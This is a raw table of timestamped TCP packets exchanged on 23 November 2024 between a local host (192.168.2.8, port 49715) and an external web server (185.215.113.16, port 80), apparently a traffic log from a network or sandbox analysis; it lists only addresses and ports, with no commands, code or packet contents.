Nov 23, 2024 21:15:21.962061882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.962122917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.962198019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.962254047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.963354111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.963412046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.963481903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.963536024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.964550972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.964607954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.964678049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.964730024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.965825081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.965883017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.965934992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.965985060 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.967040062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.967098951 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.967139006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.967185020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.968275070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.968333960 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.968399048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.968452930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.969580889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.969647884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.969717979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.969769955 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.970757008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.970809937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.970896006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.970949888 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.972050905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.972109079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.972153902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.972229004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.973253012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.973311901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.973423958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.973474979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.974504948 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.974559069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.974600077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.974647045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.975709915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.975765944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.975805998 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.975853920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.976998091 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.977056980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.977143049 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.977195024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.978262901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.978312016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.978318930 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.978353024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.979469061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.979523897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.979564905 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.979612112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.980710983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.980768919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.980772018 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.980812073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.981967926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.982012987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.982019901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.982055902 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.983175039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.983227015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.983280897 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.983334064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.984451056 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.984487057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.984502077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.984527111 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.985665083 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.985721111 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.985735893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.985779047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.986893892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.986944914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.986954927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.986999035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.988183975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.988213062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.988234997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.988246918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.989352942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.989403963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.989417076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.989470005 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.990628004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.990648031 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.990674973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.990694046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.991827965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.991874933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.992351055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.992398977 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.993103981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.993161917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.993269920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.993319035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.994330883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.994374990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.994476080 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.994523048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.995585918 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.995630980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.995659113 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.995702982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.996813059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.996860027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.996989012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.997034073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.998043060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.998086929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:21.998424053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:21.998467922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.080178022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.080248117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.080259085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.080298901 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.080610991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.080682993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.080852032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.080908060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.080914974 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.080965996 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.082125902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.082186937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.082252026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.082298040 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.083302975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.083472013 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.148262024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.148365021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.148410082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.148432970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.148761034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.148817062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.148853064 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.148910046 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.149748087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.149787903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.149846077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.151134014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.151199102 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.151734114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.151787043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.152190924 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.152246952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.152697086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.152756929 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.153454065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.153517962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.153960943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.154119968 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.154671907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.154736042 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.154824972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.154902935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.155920029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.156004906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.156253099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.156358004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.157152891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.157213926 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.157346010 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.157406092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.158432007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.158483028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.158715963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.158772945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.159657001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.159714937 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.159885883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.159934998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.160926104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.161071062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.161094904 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.161124945 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.162130117 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.162220001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.162281036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.162333012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.163383007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.163449049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.163512945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.163566113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.164588928 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.164642096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.164704084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.164763927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.165834904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.165971041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.166192055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.166250944 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.167155981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.167210102 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.167437077 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.167522907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.168325901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.168374062 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.168399096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.168416023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.169565916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.169625998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.169697046 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.169765949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.170836926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.170902014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.170964003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.171087980 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.172137976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.172192097 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.172213078 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.172274113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.173393011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.173465014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.174190044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.174245119 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.174930096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.174969912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.174977064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.175215006 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.175843000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.175899029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.175925016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.175962925 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.177022934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.177084923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.177552938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.177685976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.178282976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.178483009 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.179577112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.179598093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.179657936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.179661036 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.179707050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.180799007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.180895090 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.181029081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.181083918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.182012081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.182065964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.182120085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.182174921 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.183234930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.183285952 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.183341980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.183394909 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.184489965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.184533119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.184591055 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.185713053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.185767889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.186511993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.186599970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.186938047 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.187014103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.187360048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.187412024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.188205004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.188427925 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.188627005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.188685894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.189498901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.189551115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.189913034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.189984083 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.190718889 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.190798044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.190962076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.191024065 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.191915989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.191972971 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.192224979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.192347050 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.193156004 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.193221092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.193314075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.193419933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.194458008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.194478035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.194540024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.195677996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.195736885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.195954084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.196050882 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.196897030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.196954966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.196968079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.197015047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.198153973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.198210955 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.198487043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.198546886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.199389935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.199474096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.199845076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.199933052 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.200634003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.200692892 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.200752974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.200823069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.201864958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.201955080 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.201982021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.202040911 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.203078985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.203119040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.203181028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.204344034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.204402924 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.205039978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.205095053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.205626011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.205646038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.205705881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.206809044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.206890106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.207552910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.207617044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.208096981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.208267927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.208304882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.208363056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.290581942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.290786982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.290951014 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.291027069 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.291277885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.291301012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.291358948 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.292397022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:22.292512894 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:22.292526007 CET	80	49715	185.215.113.16	192.168.2.8
